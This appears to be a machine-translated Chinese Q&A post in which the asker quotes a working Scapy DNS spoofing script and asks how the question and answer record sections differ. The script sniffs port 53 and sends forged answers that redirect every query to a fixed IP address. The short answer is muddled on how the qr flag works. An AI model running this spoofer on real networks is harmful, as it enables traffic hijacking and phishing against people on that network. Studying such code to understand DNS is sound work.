我知道资源记录部分的结构,看起来像这样:enter image description here
但是在阅读dns恶搞插件的源代码时我完全迷失了:
from scapy.all import *
def dns_spoof(pkt):
redirect_to = '172.16.1.63'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)
QD和AN RR之间有什么区别?为什么我们必须在这个数据包中使用QD?
答案 0 :(得分:0)
DNS qr应解释为客户端发送的查询数据。 Scapy使用DNSQR字段来表示此结构。因此,将qr部分与其他RR字段分开更容易。